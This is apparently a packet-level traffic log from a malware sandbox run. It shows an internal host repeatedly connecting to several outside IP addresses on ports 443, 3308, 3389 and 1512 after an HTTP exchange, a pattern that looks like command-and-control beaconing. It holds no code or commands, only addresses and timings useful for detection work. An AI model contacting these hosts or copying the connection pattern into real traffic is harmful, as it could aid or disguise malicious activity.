Jan 11, 2021 20:47:37.468755007 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468776941 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468799114 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468823910 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468827009 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468868017 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468897104 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468904972 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468925953 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468941927 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468965054 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468980074 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468988895 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.469017029 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.469038010 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.469053984 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.469068050 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.469086885 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.469114065 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.469352007 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.469902992 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:40.949469090 CET	49166	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:41.001959085 CET	443	49166	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:41.002120018 CET	49166	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:41.031315088 CET	49166	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:41.083906889 CET	443	49166	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:41.098542929 CET	443	49166	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:41.098640919 CET	49166	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:41.110538006 CET	49166	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:41.165226936 CET	443	49166	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:41.165452003 CET	49166	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:43.277240992 CET	49166	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:43.277369022 CET	49166	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:43.329890966 CET	443	49166	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:43.330123901 CET	49166	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:43.382601023 CET	443	49166	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:43.501662970 CET	443	49166	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:43.501688004 CET	443	49166	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:43.501751900 CET	49166	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:43.505089045 CET	49166	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:43.557547092 CET	443	49166	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:43.736026049 CET	49168	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:43.779455900 CET	3308	49168	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:43.779580116 CET	49168	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:43.781461000 CET	49168	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:43.824510098 CET	3308	49168	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:43.841294050 CET	3308	49168	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:43.841311932 CET	3308	49168	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:43.841387033 CET	49168	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:43.852971077 CET	49168	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:43.900423050 CET	3308	49168	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:43.900547028 CET	49168	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:43.925718069 CET	49168	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:43.925865889 CET	49168	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:43.969187021 CET	3308	49168	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:43.969402075 CET	49168	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:44.010674953 CET	3308	49168	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:44.012451887 CET	3308	49168	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:44.012480021 CET	3308	49168	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:44.125039101 CET	3308	49168	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:44.125091076 CET	3308	49168	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:44.125207901 CET	49168	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:44.130682945 CET	49168	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:44.174187899 CET	3308	49168	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:44.282381058 CET	49169	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:44.336591005 CET	3389	49169	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:44.336721897 CET	49169	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:44.338021994 CET	49169	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:44.392030954 CET	3389	49169	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:44.417159081 CET	3389	49169	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:44.417198896 CET	3389	49169	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:44.417292118 CET	49169	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:44.417337894 CET	49169	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:44.431694984 CET	49169	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:44.494960070 CET	3389	49169	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:44.495187998 CET	49169	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:44.506367922 CET	49169	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:44.506501913 CET	49169	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:44.561021090 CET	3389	49169	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:44.561211109 CET	49169	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:44.600543976 CET	3389	49169	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:44.615497112 CET	3389	49169	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:44.615526915 CET	3389	49169	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:44.705334902 CET	3389	49169	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:44.705358982 CET	3389	49169	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:44.705604076 CET	49169	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:44.711227894 CET	49169	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:44.765062094 CET	3389	49169	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:44.891943932 CET	49170	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:44.945244074 CET	1512	49170	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:44.945405006 CET	49170	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:44.946413994 CET	49170	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:44.999209881 CET	1512	49170	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:45.006426096 CET	1512	49170	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:45.006469011 CET	1512	49170	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:45.006571054 CET	49170	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:45.007572889 CET	49170	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:45.017179966 CET	49170	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:45.071614981 CET	1512	49170	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:45.071844101 CET	49170	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:45.085357904 CET	49170	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:45.085675001 CET	49170	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:45.138495922 CET	1512	49170	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:45.138752937 CET	49170	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:45.175296068 CET	1512	49170	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:45.191564083 CET	1512	49170	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:45.295252085 CET	1512	49170	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:45.295273066 CET	1512	49170	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:45.295437098 CET	49170	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:45.301076889 CET	49170	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:45.353863955 CET	1512	49170	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:45.413929939 CET	49171	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:45.465986967 CET	443	49171	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:45.466116905 CET	49171	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:45.467444897 CET	49171	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:45.519505024 CET	443	49171	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:45.534218073 CET	443	49171	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:45.534368992 CET	49171	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:45.551359892 CET	49171	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:45.606681108 CET	443	49171	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:45.606826067 CET	49171	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:45.619863033 CET	49171	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:45.620126963 CET	49171	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:45.672115088 CET	443	49171	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:45.672393084 CET	49171	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:45.711178064 CET	443	49171	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:45.724745035 CET	443	49171	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:45.841810942 CET	443	49171	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:45.841865063 CET	443	49171	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:45.841913939 CET	49171	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:45.841942072 CET	49171	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:45.843981981 CET	49171	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:45.896141052 CET	443	49171	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:45.953030109 CET	49172	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:45.996511936 CET	3308	49172	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:45.996635914 CET	49172	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:45.998095989 CET	49172	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:46.041225910 CET	3308	49172	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:46.052795887 CET	3308	49172	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:46.052834034 CET	3308	49172	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:46.052895069 CET	49172	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:46.052927971 CET	49172	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:46.070770979 CET	49172	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:46.115684032 CET	3308	49172	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:46.115832090 CET	49172	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:46.127135992 CET	49172	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:46.127331972 CET	49172	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:46.170452118 CET	3308	49172	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:46.170731068 CET	49172	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:46.209938049 CET	3308	49172	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:46.213975906 CET	3308	49172	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:46.214016914 CET	3308	49172	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:46.328515053 CET	3308	49172	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:46.328572989 CET	3308	49172	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:46.328838110 CET	49172	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:46.334445000 CET	49172	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:46.377588987 CET	3308	49172	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:46.457647085 CET	49173	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:46.511992931 CET	3389	49173	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:46.512125969 CET	49173	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:46.513819933 CET	49173	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:46.567750931 CET	3389	49173	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:46.620575905 CET	3389	49173	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:46.620640993 CET	3389	49173	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:46.620791912 CET	49173	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:46.620846033 CET	49173	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:46.633423090 CET	49173	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:46.687517881 CET	3389	49173	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:46.693686008 CET	3389	49173	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:46.693937063 CET	49173	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:46.707075119 CET	49173	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:46.707298040 CET	49173	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:46.761519909 CET	3389	49173	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:46.761697054 CET	49173	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:46.801343918 CET	3389	49173	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:46.815891027 CET	3389	49173	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:46.815936089 CET	3389	49173	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:46.904196024 CET	3389	49173	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:46.904262066 CET	3389	49173	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:46.904463053 CET	49173	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:46.910100937 CET	49173	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:46.964423895 CET	3389	49173	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:47.019773960 CET	49174	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:47.072829962 CET	1512	49174	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:47.073040962 CET	49174	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:47.074662924 CET	49174	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:47.127613068 CET	1512	49174	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:47.134509087 CET	1512	49174	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:47.134562969 CET	1512	49174	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:47.134624958 CET	49174	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:47.134671926 CET	49174	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:47.150314093 CET	49174	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:47.204267979 CET	1512	49174	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:47.204560041 CET	49174	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:47.219937086 CET	49174	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:47.220213890 CET	49174	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:47.273142099 CET	1512	49174	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:47.273457050 CET	49174	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:47.311414957 CET	1512	49174	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:47.326361895 CET	1512	49174	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:47.326405048 CET	1512	49174	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:47.429879904 CET	1512	49174	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:47.429914951 CET	1512	49174	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:47.430071115 CET	49174	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:47.435960054 CET	49174	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:47.489939928 CET	1512	49174	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:47.549962044 CET	49175	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:47.603499889 CET	443	49175	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:47.603801012 CET	49175	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:47.605811119 CET	49175	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:47.657946110 CET	443	49175	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:47.673510075 CET	443	49175	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:47.673649073 CET	49175	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:47.687616110 CET	49175	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:47.742461920 CET	443	49175	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:47.742805004 CET	49175	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:47.755352974 CET	49175	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:47.755409002 CET	49175	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:47.807799101 CET	443	49175	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:47.808147907 CET	49175	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:47.860487938 CET	443	49175	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:47.860579967 CET	443	49175	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:47.978298903 CET	443	49175	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:47.978348017 CET	443	49175	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:47.978595018 CET	49175	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:47.983973026 CET	49175	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:48.036195993 CET	443	49175	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:48.090606928 CET	49176	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:48.133889914 CET	3308	49176	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:48.134030104 CET	49176	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:48.134814978 CET	49176	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:48.177948952 CET	3308	49176	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:48.188446045 CET	3308	49176	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:48.188483953 CET	3308	49176	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:48.188560963 CET	49176	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:48.188599110 CET	49176	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:48.197532892 CET	49176	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:48.242717028 CET	3308	49176	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:48.242964983 CET	49176	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:48.252623081 CET	49176	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:48.252871037 CET	49176	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:48.296015024 CET	3308	49176	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:48.296140909 CET	49176	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:48.336406946 CET	3308	49176	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:48.339504957 CET	3308	49176	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:48.339545965 CET	3308	49176	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:48.453090906 CET	3308	49176	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:48.453146935 CET	3308	49176	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:48.453289986 CET	49176	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:48.453347921 CET	49176	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:48.458736897 CET	49176	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:48.501885891 CET	3308	49176	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:48.579791069 CET	49177	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:48.633795977 CET	3389	49177	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:48.633905888 CET	49177	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:48.634752989 CET	49177	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:48.688822985 CET	3389	49177	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:48.702464104 CET	3389	49177	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:48.702512026 CET	3389	49177	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:48.702610970 CET	49177	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:48.714401960 CET	49177	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:48.776834011 CET	3389	49177	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:48.776948929 CET	49177	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:48.788469076 CET	49177	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:48.788708925 CET	49177	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:48.842616081 CET	3389	49177	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:48.842922926 CET	49177	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:48.882366896 CET	3389	49177	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:48.896743059 CET	3389	49177	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:48.896780968 CET	3389	49177	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:48.987220049 CET	3389	49177	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:48.987250090 CET	3389	49177	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:48.987627029 CET	49177	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:48.993340969 CET	49177	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:49.047899008 CET	3389	49177	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:49.106623888 CET	49178	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:49.159703970 CET	1512	49178	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:49.159818888 CET	49178	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:49.161204100 CET	49178	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:49.214056015 CET	1512	49178	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:49.221045017 CET	1512	49178	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:49.221087933 CET	1512	49178	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:49.221154928 CET	49178	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:49.221204042 CET	49178	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:49.237468958 CET	49178	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:49.291564941 CET	1512	49178	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:49.291734934 CET	49178	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:49.304979086 CET	49178	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:49.305249929 CET	49178	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:49.358113050 CET	1512	49178	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:49.358398914 CET	49178	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:49.395523071 CET	1512	49178	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:49.411279917 CET	1512	49178	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:49.512336969 CET	1512	49178	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:49.512365103 CET	1512	49178	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:49.512490988 CET	49178	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:49.512540102 CET	49178	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:49.517467022 CET	49178	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:49.570866108 CET	1512	49178	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:49.640963078 CET	49179	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:49.693280935 CET	443	49179	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:49.693543911 CET	49179	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:49.695126057 CET	49179	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:49.747126102 CET	443	49179	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:49.762134075 CET	443	49179	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:49.762336969 CET	49179	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:49.778696060 CET	49179	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:49.833122015 CET	443	49179	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:49.833518028 CET	49179	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:49.846028090 CET	49179	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:49.846334934 CET	49179	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:49.898319006 CET	443	49179	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:49.898631096 CET	49179	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:49.935514927 CET	443	49179	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:49.950781107 CET	443	49179	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:50.068835020 CET	443	49179	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:50.068881035 CET	443	49179	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:50.069139004 CET	49179	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:50.074649096 CET	49179	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:50.126749039 CET	443	49179	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:50.187271118 CET	49180	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:50.230886936 CET	3308	49180	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:50.231095076 CET	49180	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:50.232496977 CET	49180	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:50.275856018 CET	3308	49180	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:50.290165901 CET	3308	49180	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:50.290211916 CET	3308	49180	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:50.290352106 CET	49180	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:50.290383101 CET	49180	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:50.309853077 CET	49180	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:50.354804993 CET	3308	49180	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:50.355098963 CET	49180	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:50.366585016 CET	49180	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:50.366909981 CET	49180	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:50.410228014 CET	3308	49180	80.86.91.27	192.168.2.22
